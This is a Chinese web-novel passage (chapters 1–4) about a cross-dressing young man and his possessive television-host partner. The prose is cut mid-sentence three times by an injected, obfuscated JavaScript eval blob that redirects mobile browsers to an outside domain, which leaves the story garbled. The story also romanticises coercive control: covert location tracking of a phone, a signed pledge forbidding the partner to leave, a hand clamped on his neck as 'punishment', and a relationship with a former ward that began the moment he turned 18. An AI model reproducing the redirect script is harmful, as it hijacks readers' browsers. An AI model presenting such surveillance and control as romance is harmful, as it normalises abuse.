《漂亮男孩方唯安》 1. 第 1 章 20岁的前一天,方唯安从奚沧家搬走。 与其说“搬走”,更像被人赶了出来。 奚佑是典型的护哥狂魔,前两年他还在老家读书,对方唯安的存在一知半解,也就没有干涉。 今年入秋,奚佑考上了云港的大学,每周末都会来奚沧家里住。 刚开始还好,可越到后来,奚佑对方唯安的态度就越鄙夷,一举一动都在散发着对他的恶意。 方唯安已经很小心地不去招惹他了,然而就在两小时前,方唯安下班回家,发现自己的衣服都被奚佑从主卧扔了出来,在走廊和客厅的地板上凌乱着。 其中包括很多他很珍惜很爱护的裙子。 “你真恶心,方唯安!”奚佑靠着门框,把手里的东西朝方唯安狠丢过去。 塑料瓶砸中了方唯安的左边肩膀又滚到地上。 咕噜噜—— 是他床头柜里的一瓶润滑。 “原来你就是这么勾引我哥的……方唯安,你这招是跟谁学的,跟你妈,还是跟你爸?没想到你们一家看上去人模人样的,背地里却一个赶一个恶心!” 奚佑步步逼近,他跟他哥的身型差不多,高大健壮,他的影子逐渐笼罩方唯安的身体。 方唯安向后退了几步,腿一软,直接跌坐在地。 “趁我还能忍住不动手,你赶紧滚吧!”奚佑掏出手机,摄像头对准那一地花花绿绿的裙子以及吓得不知所措的方唯安,最后聚焦在方唯安血色全无的脸上,“当年我哥惦记着师生情谊,不顾我爸妈反对也要把你接到身边照顾,没想到你竟然把我哥骗上床了……他现在正在事业上升期,你们的事要是给他那些同事和媒体知道了,他这辈子都翻不了身!” 闻言,方唯安突然抬起头看着奚佑。 方唯安的脸又小又尖,白白净净的。他的眼睛蛮大,双眼皮的褶皱很深,眼角垂着,显得很可怜。 那双眼怔怔看着奚佑,眼眸轻轻晃动,嘴唇下意识嗫了几下,受了莫大的委屈一样。 娘炮。 奚佑皱眉,浑身不自在,像是沾到了什么脏东西。 他恼羞成怒,非常想踹方唯安一脚,“你看我干嘛?你是傻子啊,该不会以为搞同性恋很浪漫吧?我告诉你,就算我哥就是喜欢男的,就算他的同事和粉丝也接受他喜欢男的,那他也不会跟你在一起。” 方唯安几乎要脱口而出问奚佑为什么了,奚佑却主动告诉他原因,“因为我哥睡你只是因为你刚好在他身边很方便,因为他不会跟一个家里有前科的人交往,我们家人也不会同意你们在一起。” 他很,方便吗? 方唯安愣愣地坐在原地,屁股下面的那块瓷砖都被他的体温给烘暖了。 倒也没渴望过什么白头偕老,只是从前他觉得,他和奚沧之间是等价交换。 他想要一个庇护,奚沧能给,所以他用自己的身体和家务劳动做交换。 但是也不能否认,和外面那些人比起来,借住在奚沧家的方唯安确实要“方便”得多。 怎么没早一点反应过来呢? 说了这么重的话,方唯安还只是无动于衷地在那儿呆坐着。奚佑的耐心即将告罄,搬出了杀手锏,“方唯安,你现在不都工作了吗,每个月应该有工资吧?” 方唯安的眼睛慢悠悠转了转,落到了奚佑身上,没精打采道:“嗯。” “之前我哥是看你快饿死了才收留你的,现在你有钱了,还好意思赖着不走,继续花我哥的钱,住我哥的房子吗?”奚佑伸脚,把地上那瓶润滑踢到了方唯安的腿边,略带暗示地说,“实在不行,你把这些东西都带上,以后说不定还有机会用……你走了,我哥就可以正常恋爱结婚了。” 奚佑从储物间里拎出一只大号的行李箱,那是方唯安搬过来的时候用的。 他把箱子丢在过道,让方唯安趁他哥回家之前抓紧时间滚蛋,然后就去书房开黑了。 方唯安又蹲了一阵,才慢慢找回知觉。他挪着双脚,开始收拾地上的衣服,刚开始还能叠几下,眼看着快到奚沧往常回家的时间了,干脆扯着行李箱,把那一片狼藉一股脑塞了进去。 . 云港多雪,雪从一入冬就开始下,似是要下满整个冬天。 这晚又下了雪,很短一段时间里,落下来的雪花在地面积了厚厚一层。 下了出租车,方唯安拖着那只30寸的行李箱,埋头往前走。 雪地上多了一串细密的脚步和两道诡异的蛇形划线。 明天还要上班,他在商场附近选了家快捷酒店,办理入住的过程还算顺畅,前台甚至还帮他升级了房型。 “来云港玩呀?”对方将房卡和身份证一起递给他,一边亲切搭话,“我也是安州的,我们是老乡!” 方唯安的半张脸都埋在围巾里,有点不知道该说什么,“真巧。” “嘿嘿,我在这儿见过好多安州人呢。毕竟是大城市,机会多,人也多,”前台姑娘非常热情,从桌子后面绕出来,帮方唯安叫了电梯,“你看奚沧,人家混得多好!” 安州不大,称不上人杰地灵,唯一的名人可能也就是奚沧。 奚沧18岁离开安州来到云港读书,同年通过了云港最大的媒体平台的主持人甄选,被分到云港电视台做兼职。 那年某社交软件刚刚兴起,奚沧临时带班一档气象节目。他穿着从前辈那里借来的黑色大衣,内里是某宝66.9包邮的白色衬衫,手举一把亮黄的伞站在漫天大雪里。 气温骤降,奚沧的手背和双眼冻得发红。可他神情肃穆,字句铿锵,说话间从嘴边呼出飘飘袅袅的白气,下一秒就要羽化登仙。 “今天夜间和明天白天我市均有大范围降雪,市气象局已下达暴雪红色预警,请大家注意出行安全,小心不要滑倒。” 这支视频由刚刚创建社交账号的云港电视台发布,一夜之间就得到了大量曝光与互动,相关词条在实时热搜上挂了三天,奚沧名声大噪,也让半死不活的气象播报迎来新生。 直到今天,由奚沧担任主持人的每日气象播报仍稳坐电视台的收视宝座。每年年末的各大晚会,也常见奚沧一身笔挺的西装,站在领衔主持人的位置上。 方唯安突然张开嘴,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730264|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口呼吸了几下。 “怎么了,不适应这里的天气吗?”前台扶着电梯一侧的门,贴心提醒,“云港要比安州干燥,多喝点水,房间里的矿泉水是免费的。” “谢谢您。”方唯安拖着行李走进电梯,末了也没找到机会告诉她,自己已经在云港生活了四年了。 . 电梯停在三楼,方唯安拖着箱子走了好久,才在走廊尽头找到自己的房间。 进门插卡,点亮灯光,房间里泛滥着淡淡霉味,是那种老房子专属的味道。 短暂愣神,电视也完成开机程序,切入上位住客看过的频道,奚沧的声音越来越清晰。 “欢迎来到《Shine in U》的初选拔之夜,今晚我们将携手77位有梦想、敢拼搏的大男孩一起开始逐梦之旅,星途遥遥,为你闪耀!” 年末,各家电视台开始了新一轮的收视大战。云港卫视野心勃勃地推出了一档选秀综艺,主持人当然是奚沧。 除了他还能有谁。 奚沧开始介绍赛制了,方唯安站在玄关,扯掉围巾,再次大口呼吸了几下。 这才意识到,自己现在其实听不得奚沧的声音,看不得他的脸,就连听到别人提起这个名字,都有一种心脏被骤然揪紧的窒息感。 “方唯安,你到底在想什么啊——”这是奚沧总是挂在嘴边的话。 说这句话的时候,奚沧眉头紧皱,显得特别凶,方唯安大气不敢喘。 然后,奚沧就会走过来,用食指戳戳他的额头,再很不开心地抱住他,捏着他的下巴和他接吻。 方唯安其实很喜欢奚沧亲他,喜欢奚沧买给他的那些漂亮裙子,喜欢奚沧温柔的注视以及那之后的残暴掠夺。 方唯安到底在想什么啊。 方唯安在想奚沧。 他现在才意识到。 电视里的声音换成动感舞曲,动次打次敲着方唯安的鼓膜。 他慢吞吞往房间里走,屋里有一张King-size大床,正对着床的电视上是一群妆很浓的男孩子在卖力唱跳。 窗外,雪还在下,玻璃上倒映出他现在的样子,穿着件材质蓬松的羽绒服,衬得他的头很小,面目是模糊的。 “你的造型很特别。”躁动的音乐不知不觉停止,电视里又传出奚沧的声音。 方唯安扭头看去。 舞台上只有一个男孩。他的脸很小,骨架也小,穿着条短裙,说起话来又甜又嗲。 放在男团选秀里,确实很特别。 男孩跳了一首《爱你》,不知是特意剪辑还是本意如此,男孩一直朝着奚沧wink,每一句“爱你”都对着他唱。 方唯安就这么目不转睛地看着,慢慢感觉嘴唇变得温热,他伸手蹭了蹭,然后发现手背上都是血。 着急忙慌地跑进洗手间,刚打开水龙头,就听自己的房门被人拍响,大力而急促。 哐哐哐—— “方唯安,你在里面吗?” 奚沧的声音低沉,明显压着火。 动作停滞,水流冲刷着手心,方唯安的头皮都要炸了。 2. 第 2 章 半分钟后,方唯安犹犹豫豫地把门打开,奚沧的脸黑得不像话,站在门口看着他。 “你,要进来吗?”方唯安退后半步。 奚沧哽了一下,抬脚走进来。 关门的时候,方唯安听到电视里的奚沧的声音。 “‘世界上只有一种原罪,那就是不遵循自己本性中的内在法则。’” 大概在点评刚才的表演。 进来后,奚沧简单地打量了一遍房间,忽而轻笑,“你确定你能在这种地方睡着?” 平时外面炸个烟花都能吓到彻夜失眠的人,娇气得要死,住得了这种墙比纸薄的快捷酒店? 奚沧瞪着方唯安。 方唯安低着头,只能看到他的两只手攥着羽绒服的下摆,额角渗出一层亮晶晶的汗。 奚沧抿了一下嘴唇,“你刚进来的?” “嗯,”方唯安晃了晃脑袋,隔了一会儿才如梦初醒地看着他,“你怎么知道我在这里?” 因为我在你的手机里装了定位软件。 奚沧随口道:“猜的。” “哦。”方唯安又晃晃脑袋。 奚沧皱眉,“你老是摇头晃脑得干嘛?” “我刚流鼻血了,”方唯安用手背蹭了一下自己的鼻子,“我看看现在还流不流。” 端详手背片刻,他抬起头跟奚沧汇报,漂亮的眼睛里难掩悦色,“止住了!” 奚沧闭了闭眼,“方唯安,你到底在想什么啊?” 真的很难搞懂,但也无可奈何。 “过来!”他支使方唯安。 方唯安往前走了几步,来到他面前。 奚沧沉沉吐息,双手捧上方唯安的脸颊。 习惯成自然,方唯安闭上了眼睛,等待奚沧的亲吻。 然而,预想的亲吻没来,奚沧只是将他的头抬高了点,观察着说,“应该是屋子太干,你穿得又厚,上火了。” 松开他的脸前,奚沧用拇指揩掉他鼻尖残存的血迹,然后走开,在房间里绕了一圈。 心跳乱了一拍继而加速跳动,方唯安默默地想,现在的我是不是也很方便? . 奚沧找到遥控器,把电视关了,耳根终于清静。 他一屁股坐在床尾,看向方唯安,“我们得聊一下吧?” 方唯安最受不了奚沧的突然严肃,每次奚沧绷着脸,他就觉得天都要塌下来了。 “嗯。”方唯安抽抽鼻子,根本不知道要怎么拒绝。 “要聊就把外套脱了,不然你待会还得流鼻血。”奚沧说着,脱掉自己的大衣。 方唯安发现,他身上还穿着正装衬衣,有点奇怪他为什么没有换成常服。 奚沧是台里唯一拿了独家服装赞助的主持人,录制节目时会穿赞助商送来的衣服,这些衣服通常是借用,穿完就得请助理送回去。 正琢磨着,奚沧接过方唯安脱掉的羽绒服,把手里的矿泉水塞给他,“你坐啊,我又不是你领导。” 方唯安愣愣地找了把椅子坐下,心想我领导可没有你吓人。 “方唯安,你记得自己跟我承诺过什么吧?” 奚沧捞起自己的大衣,从里面拿出一张纸,“这是你亲笔写的保证书,不会想抵赖吧?” 方唯安露出很明显的惊讶的表情。他长得太好看了,一颦一笑都很勾人。 惊讶的时候,殷红的嘴唇微启,眼波轻轻晃动着,轻而易举地让人心旌摇荡。 奚沧把保证书扔给他,“第三条,读出来。” 方唯安拿起复印件,找到第三条,慢吞吞朗读:“乙方未经甲方允许不得擅自离家,不得无故失联,不得允许无关人等进入甲方住所。” 房间特别安静,想必大雪夜里游客稀少,本地居民也不会跑出来开房。 除了方唯安。 奚沧踹了一脚立在一边的行李箱,“不仅一声不响地就走了,还带走这么多条裙子……” 顿了顿,他勾起嘴角,“不怕我报警抓你啊?” “是你$%@^”方唯安低着头,声音含含糊糊。 奚沧没听清,“什么?” 方唯安虽然反应有点慢,但他不是傻子,他也有情绪。 “是你弟让我走的,他说你的家人不会接受我们的关系。”方唯安鼓足勇气,大声地说。 毕竟血浓于水,你亲弟弟都看不惯我了,我凭什么留下? 况且他还搬出你的前途……奚佑也想进电视台当主持人,这些我都知道。到时候他在电视台里说漏了嘴,别人发现我们之间的关系,你该如何自处? 奚沧被气笑了,“他让你走你就走,他就那么重要?” 方唯安没说话,憋了一肚子气,他突然发现自己也不是那么想念奚沧。 反正见到了也只会让他紧张,让他不堪,让他无所适从。 奚沧从他手里抢过保证书,慢条斯理地折好,“保证书是你自己写的,现在违约了,你得承担责任。” 方唯安更憋屈了,气鼓鼓坐在那儿思考,到底要承担什么责任? . 这份保证书的由来其实有些邪门。 追根溯源就会又臭又长,所以我们挑重点讲。 奚沧曾是方唯安父亲的学生,他们第一次见面那天,奚沧16岁,正在准备艺考;方唯安10岁,穿着条及膝碎花连衣裙。 那之后,奚沧花了许久才搞清方唯安的真实性别,也得知他的妈妈似乎精神失常,被她父母养于深闺,鲜少外出社交。 方唯安随母姓,从小就被妈妈当成女儿养。 奚沧在沈清献开设的艺考辅导班里学习了大半年,逐渐跟方唯安熟悉了起来,临别还交换了电话号码,说有需要就联系。 然后在非常寻常的一天,已经来到云港读书的奚沧接到一通归属地是安州的陌生电话,方唯安问他可不可以收留自己,彼时方唯安16岁。 于是,奚沧稀里糊涂地回了安州,找到方唯安,这才听说方唯安的父母挥刀相向,沈清献一把将妻子推出窗外活活摔死了。 而方唯安作为现场唯一的目击证人,备受打击,短短几月间就瘦得只剩一把骨头。 他眼里的光没了,只剩阴恻恻的暗影,往常来往的亲戚也都对他避之不及,他的外公外婆更是抱着女儿的骨灰直接移民,杳无音讯。 奚沧就这么把方唯安带来云港,给了他一个住所,也得到他许多饮食起居方面的照顾。 那会儿奚沧刚刚大学毕业,正式进入电视台工作。幸而他在大学期间就出了名,攒下一笔还算可观的积蓄,养一个方唯安还不成问题。 白天他去上班,方唯安就在家里看漫画,打扫卫生,将地板擦得一尘不染。 晚上回家,方唯安会给他端上一桌丰盛佳肴。 一段时间后奚沧才发现,自己吃的都是外卖,方唯安不会做饭,家里也都是请保洁来打扫的。 打开副卡账单的那天,他气得哭笑不得,一脚油门踩回家,推门就看到方唯安穿着一条浅紫色Lo裙,对着镜子来回看。 那双眼里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730265|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新有了光…… 后来,奚沧等到方唯安成年,拥有了他青涩的身体,给他买了许多条裙子。 方唯安亲手写下保证书: 1)乙方不得向任何人透露和甲方的关系。 2)如甲方给乙方购买衣物,乙方无权拒绝。 3)…… 一共三条,方唯安迫不及待地写完,然后飞扑向自己心心念念的长裙。 奚沧耐心地给他换上,又帮他褪下。 他们一起在那套房子里度过了很长时间,方唯安逐渐学会了做饭(不好吃),也学会如何将家里收拾得一尘不染…… . 再怎么想,那天他们也没谈到违约的惩罚。 方唯安稍稍放心,刚想再检查一遍保证书,就见奚沧好整以暇地将那页纸重新放进大衣口袋,“奚佑已经回学校了。” “哦。”方唯安木木点头,心里有点高兴。 那种垃圾人也不适合在奚沧家一直待着,那种垃圾人就应该永远消失在地球上。 “以后不要听任何人的话,只能听我的话,明白吗?”奚沧又说。 方唯安点头,“明白了。” 一看就什么都不明白。奚佑伸手捏在方唯安的下巴上,两只手指挤着他的脸。 那么漂亮的一张脸,这么挤压着依然很漂亮,无辜又破碎,我见犹怜。 奚沧屏下一口气,“你明白什么了?” “以后不听你弟的话。”方唯安张不开嘴,囫囵地说。 奚沧的脸色终于好看了些,松开方唯安的脸,硬邦邦地问:“你今晚还在这儿住吗?” “不住了,”方唯安站了起来,“回你家吧。” 跟奚沧相处久了,方唯安生成了一种直觉,迟钝如他好像也能很敏锐地捕捉到奚沧的某种情绪,亦或是观察他的表情,辅助自己做出让奚沧满意的决定。 奚沧拉着行李箱,戴好帽子、口罩和墨镜,全副武装地走出酒店,方唯安在他身后跟着。 雪又落了一层,盖住了他们来时的脚印。 这一次,空白的雪地上多出两道足迹,蛇形划痕依然在,伴随着奚沧絮絮的教训声,“下一次你直接让他滚,谁家谁说了算。” “可他是你亲弟弟……”方唯安追着奚沧的脚步,快要开始小跑了。 “亲弟弟怎么了,那又不是他的房子,”顿了顿,奚沧停下脚步,兜了兜方唯安羽绒服的帽子,望着他的眼睛,“那是你的房子,你想让谁滚谁就得滚,明白了吧?” 写下保证书那天,奚沧同时交给方唯安一份转让协议,将房子过户给了方唯安。 那是一份迟来的18岁生日礼物,奚沧攒了许久的钱才终于送上,而方唯安的全部注意力都被一条新裙子吸引走了。 . 这晚回家,奚沧为方唯安送上他20岁生日礼物。 是一条淡绿色的丝绸长裙,吊带款,胸口加了一圈亚棕色绒毛,稀释整体风格的妩媚,轻而易举地从平庸中跳脱出来。 方唯安两眼冒爱心,等不及换上。谁成想身后突然伸出一只大手,钳住他的脖颈,“先认罚吧,安安。” 方唯安被他堪堪箍着脖子,动弹不得,小声地说了几次对不起,说以后不这样了。 对不起有用吗。连哄带骗地拿了你一份保证书,你还不是说走就走了。 奚沧的声音本就偏沉,积压的怒火找不到出口发泄,继而发哑。 他的嘴唇贴着方唯安的耳朵,一字一顿,“再他妈跑一个试试!” 3. 第 3 章 怎么就这么回来了呢? 方唯安面朝沙发,胸口不停在沙发表面的织料上磨蹭,又疼又痒。 他们第一次的时候,用的也是差不多的姿势。 那是方唯安18岁生日的两个月之后,某天深夜,奚沧走进家时,外套上沾着些酒气。 方唯安抱着他的外套,问奚沧要不要喝水,奚沧没说话,站在玄关,用一种很复杂的眼神看着他。 “怎么了?”方唯安不自然地摸了摸脸。 许久,奚沧也伸手抚上他的脸,说:“方唯安,18岁了。” 方唯安搞不懂他的意思,只觉得奚沧的手指很凉,这么摸着他的脸很舒服,于是闭上了眼睛。 再睁开眼,身前突然出现一个庞然暗影,快速朝他逼近。等再反应过来的时候,自己的嘴唇已经被奚沧吻住了。 奚沧亲了很久才放开方唯安,见对方呆呆站着,眼睛都不眨一下,一时间百感交集。 “方唯安,你在想什么啊?” 方唯安没说话。 “你不说话,我就继续了?” 方唯安还是没说话,像被吓蒙了。 那晚的记忆被切割成很小的意识流碎片,散落在方唯安的脑袋里。 吊灯是融化的落日,床单是一望无际的海,痛觉是巨浪翻涌,战栗是狂风呼啸,舒爽是天际线上亮起的一丝金线,几次意识放空时,他听到鲸鱼嗥叫…… 次日,奚沧把他从床上拎起来,问他在想什么。 方唯安的脑子已经乱成了浆糊,不知道该怎么形容,只好坦言:“不知道。” 奚沧却勾着嘴角笑了,方唯安第一次看他这么笑,很温柔也很珍贵。 “那下次你好好感受一下。” 奚沧对他笑了,方唯安着了魔似的点头,“哦,好的。” 思绪回溯,此刻,方唯安觉得自己的身体要被抽空了,胸口只剩下疼。 作为礼物的那条裙子正搭在沙发靠背上,裙摆一晃一晃,丝缎的光泽让他想到微风拂过湖泊,水面闪烁着粼粼的光。 为什么要对他笑呢?为什么又找到他,把他带回来? 可是,奚沧给了他一个稳定的生活空间,不在乎他难以启齿的爱好,反而给他买了很多小裙子…… 方唯安的意识变得更加涣散,晕晕乎乎地想起来,奚沧在节目里说的那句,什么本性,什么内在法则…… 搞不懂,乱糟糟的。 方唯安天生反应偏慢,碰上复杂的事情,大脑干脆直接宕机,放弃思考了。 就比如奚沧,他想了两年也没想明白,干脆就不去想了,随便吧。 无论是不是恋爱都随便吧,奚沧想怎么样就怎么样好了。 奚沧在方唯安的脸颊上咬了一口,发现他在哭,就用手掌蹭去他的眼泪,哄着他,“我轻轻来……” 方唯安摇摇头,忽然抱住他的脖子。 奚沧身体一僵,差点直接交代了。 “怎么这么粘人?”调整状态后,他抚摸着方唯安的脸。 “奚沧……”方唯安咬了一下奚沧的嘴唇,在对方想要加重这个吻前退了半寸,顾左右而言他,“明晚我们店要做个活动,Leo老师说机会很难得,最好不要错过,我可不可以等活动结束了再回来?” 下一秒,方唯安就看到奚沧的手覆向他的脸,两眼一黑,感官被放大到极致,险些失魂…… . 泡澡又泡了两个小时,有一些时候,方唯安觉得自己其实已经昏过去了,然后又给疼醒。 奚沧买的浴缸很大,足矣容纳两个人并排躺着,但等方唯安腰酸腿软底爬出来的时候,浴缸下的毛拖已经吸饱水分,踩在地上啪啪作响。 “好好穿鞋,会着凉——”奚沧倒是一脸容光焕发,像饱餐一顿的吸血鬼,眼睛里甚至冒着红光。 “鞋湿了,不舒服……”方唯安眯着眼睛说,下一秒,他还是象征性地站在洗手台下面的毛垫上,顺带央求,“明天的活动很重要的,就让我去吧!” 合上斗柜的柜门,奚沧站起来,在方唯安眼前降下一片阴影,又在他脚边丢了双鞋。 是双细带凉拖,顶端缀了两簇淡粉色的羽毛,3cm鞋跟。 方唯安看也不看地趿上,他的脚生得白嫩又秀气,脚趾粉嘟嘟的,鞋码38,像个女孩。 他伸直手臂,方便奚沧给他穿上衣服,不死心地争取,“Leo老师说明天门店会招待媒体,也会有明星过来,我们店里所有人都来,请假的、兼职的也来,大家都很看重这次活动!” 衣服穿好,奚沧将方唯安推到镜子前面,他今天穿的是一件淡粉色的睡裙,似乎是古着,领口有点开线,松松垮垮地垂下来。 方唯安看到自己胸口凸起的几根肋骨,纤细而羸弱,上面缀着错乱的吻痕。 他眉头一皱,“你怎么又这样?!” 听到这话,奚沧笑了一下,对上镜子里方唯安的视线,“喜欢吗?” “喜欢。”方唯安点点头。 是条新裙子,泡泡袖,蕾丝花边,显得他的肩颈线条很美。 奚沧的表情有点不自然,嘴唇挨着方唯安的耳朵,低声说:“好了,以后不那么用力了……” . 直到第二天早上分别,奚沧还是没有明确同意方唯安的请求。 但也没明确拒绝,方唯安觉得将它当做一种准许,他可以参加完店里的活动再回家。 方唯安没参加高考,同龄的孩子都在上大学的那两年,他孤零零躲在奚沧家里,等待他晚上下班。 去年,方唯安偶然接触到彩妆领域,简直打开了新世界的大门。 他喜欢那些瓶瓶罐罐,喜欢每一种色彩,更惊喜于色彩和质感的碰撞,竟能让一个人改头换面,浑身上下都在闪光。 凭着那张不施粉黛就足够惊艳的脸,方唯安获得了一份美妆品牌的销售工作。他口条不算好,审美却极佳,安安静静地只管化妆,所以颇受顾客喜欢。 工作上的事,奚沧向来是不赞同的,方唯安一直知道,却也风雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730266|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无阻地按时按点出勤打卡。 “唯安,你看那个节目了吗?” 早上刚开门那阵比较冷清,店里只有B级销售杰妮芙和方唯安守着。 杰妮芙生平最喜欢热闹,酷爱与同事分享八卦,知无不尽,滔滔不绝。 方唯安就这样被动地了解着云港的名利场动向。 杰妮芙猫着腰看向化妆镜,用裸色唇釉丰盈自己的嘴唇,转过来问:“怎么样,还行吗,我怎么感觉今天的妆这么奇怪呢……” 方唯安认真地看了她一阵,随后摇着头否认,“不奇怪,你很漂亮,你今天的妆也很漂亮。” “唯安,你是天使吧,情绪价值杠杠的!”杰妮芙笑了起来,而后又看向镜子,细细端详,“都怪昨天的节目,里面的选手都那么好看,还那么年轻,给我看焦虑了都!” 方唯安笑笑,“你也年轻,你才20岁。” “可是,我的20岁跟人家的26岁比起来也看不出什么差别啊。而且我20岁长这样,26岁不一定憔悴成什么样呢!” 方唯安笑着呛她,“选手都很年轻吧,哪有26岁的……” 说完才姗姗意识到,选手是很年轻,只有主持人26岁。 那个26岁的主持人轻轻松松吊打了一众20岁出头的年轻预备役爱豆,难怪杰妮芙会焦虑。 这么想着,方唯安也略略弯下膝盖,看向台面上的化妆镜。 “你不用焦虑,唯安,你绝对没问题!”看出了他的心思,杰妮芙主动宽慰,“等你开始容貌焦虑的那天,我大概已经做了八轮整型手术了。” 方唯安摇头,轻轻道:“没有。” “不过,那个倒贴男,还真给他蹭到了!”杰妮芙刷着睫毛膏,羽睫扑扇间,向方唯安那边投了一个不屑的眼神,“真恶心,还穿女装,一看就是想走黑红路线的。” 女装? 方唯安的脑袋里自动浮现出一张年轻的脸庞,那个男孩有他大吗,最后到底淘汰了没有? “你看热搜了吗,倒贴男的经济公司还真舍得花钱。昨晚首播到现在,把他和奚沧的CP超话都建起来了!” 单看方唯安那傻不愣登的神情,就知道他还没吃上这口瓜呢。 杰妮芙从制服口袋里掏出手机,举到方唯安眼前,“喏,你看,CP名还叫什么‘奚水常流’,整得还挺岁月静好的……” 方唯安的视线慢悠悠地聚焦,看到了“奚水常流”,看到了热度登顶的王冠标识,然后看到超话头像。 男孩抱着奚沧的胳膊,奚沧的身体朝男孩那边倾斜,双眼微阖,像在诉说什么缱绻的密语。 “靠!已经有两万二的粉丝了,这破CP有啥好嗑的?!”杰妮芙嗤笑着收回手机,又向下划了两下。 “诶,唯安,咱们品牌接了这档节目的妆造了耶,好像说原美妆班底临时毁约了,由咱们顶上,”杰妮芙又定睛看了一阵,这才了然,“哦,晚上的活动好像就是要宣布这件事,原来店长早就知道了,怪不得说机会难得……” 4. 第 4 章 午休,方唯安没吃饭,缩在更衣室里看完了昨晚看到一半的综艺。 穿裙子的男孩叫常里斯,和他一样都是20岁。 只是这个年龄放在一众选手里已经算是偏大了,难怪他要剑走偏锋,略过其他选手,直接拉着话题度很高的奚沧组CP。 方唯安还发现,那个CP超话的头像应该是特意请人拍的,调色与画质都很精细。 而且上传照片的人还给常里斯修了眼妆,却忘记P掉他身上冗余的饰品,导致他看上去仍然像棵花枝招展的圣诞树…… “偷懒呐?”更衣室的门突然被推开,从门缝挤进一个脑袋,“待会店长就来了,快换衣服吧。” 阿静抱着两袋衣服走进来,分了一袋给方唯安,然后利落地脱下卫衣,露出健壮的小麦色的身体。 他是店里的颇有人气的兼职生,长相阳光,身材健硕,总是穿着紧绷绷的制服,负责接待到店的富婆姐姐们。 换上衬衣,阿静又脱掉自己的裤子,双手捏着新裤子两侧的裤腰,笑呵呵地看向方唯安,“今天打扮得帅一点哦,等会儿有很多年轻小帅哥要来。” 方唯安埋着头坐着,闷闷“哦”了一声。 “害羞了?”阿静套上裤子,拎起制服外套,走过来在方唯安头顶呼噜一把,“都是男的,有什么不好意思的?” 方唯安从来不在同事面前换衣服,他不喜欢,而且奚沧也不允许。 “还是……你不好意思穿这个?”阿静的眼神带着揶揄,抿嘴笑着,“实在勉强的话就跟Leo说,他会尊重你的意见的。” 方唯安一脸不明就里。阿静听到外面有人叫他,应了一声。 “哦对了,下午闭店,所有人一起搭展台,熟悉晚上活动的流程。”阿静帮他关紧了门。 更衣室安安静静,方唯安举着手机,对着那套衣服拍了张照,给奚沧发过去。 【这是晚上活动要穿的制服。】 反锁了门,他打开那袋衣服,这才明白刚才阿静为什么要用那种眼神看他。 袋子里分明是套女仆制服! . 接近年根,所有人忙得一塌糊涂,指标层层叠进,最近一个月里,台里那几个摄影棚就没歇过。 奚沧刚结束来年几个节目的内容研讨,回化妆间养养神,等下还得整理今天的气象播报。 这头眼皮刚阖上,那边化妆间的门就开了。 “奚大主播,有人给你送花啦!”成愿就这么大摇大摆地走进来,反脚踢上门。 奚沧眼皮微掀,看了眼花束顶端夹着的合照,又缓缓闭上,“扔掉。” “好嘞,”成愿走向角落的垃圾桶,忽得反应过来,整束花都丢在奚沧身上,“要扔你自己扔,使唤谁呢!” 奚沧这才睁开眼,抱着花坐正了。 花开得正好,娇艳欲滴,就这么扔了实在可惜。奚沧便将合照卡片取下来,撕成了几片。 成愿抱着手臂看着,调侃道:“这小男孩胆儿挺大,连你都敢追……” 奚沧嗤笑,起身把照片碎片丢进垃圾桶,“我有什么不敢追的?” “你诶!”成愿一脸不可置信,你多难追你自己不知道吗? 他们俩是大学同学,报道那天,成愿就被奚沧身上那股子清冷劲儿吸引,大大咧咧地跟他出柜了。 示好的过程很漫长,可奚沧连正眼都不愿意给他一个,某天醉酒,成愿怎么想都过不去,拉着奚沧打了一架。 那天下雨,奚沧从地上爬起来,卫衣上沾了一大片泥。他踩着成愿的一只脚踝,逼他承诺不再骚扰自己,成愿疼得直冒冷汗,可算是答应了,之后躲了他三年。 没想到毕业之后,两个人又在电视台里见面了。成愿面子上过不去,窜了个局,郑重跟奚沧赔礼道歉,希望就此揭过。 而奚沧则一本正经地说:“谢谢你这些年一直到处跟人说我是无性恋。” 成愿:“蛤?” 两人就这么成了朋友。后来成愿偶然间发现奚沧金屋藏娇,震惊得当晚就发了高烧…… 成愿不愿与奚沧掰扯,掏出手机,把自己的收款码找出来,“扫吧。” 奚沧给他转了一万块钱。 “那说好了,晚上的活动我帮你主持,下次如果我临时有事,你要免费帮我顶上。” “行。”这么说的时候,奚沧正埋头端详一张照片,放大查看细节。 “今晚的活动是什么主题?” “女仆咖啡厅啊,”成愿笑笑,“你的绯闻对象要换上女仆装媚粉了,期不期待?” 奚沧递来的眼神足够有威慑力,成愿顿时收了笑容,“知道了知道了,你不喜欢这样的玩笑……真是的,搞那么神秘,啥时候把你家那个带出来给我看看嘛,我又不能吃了他。” 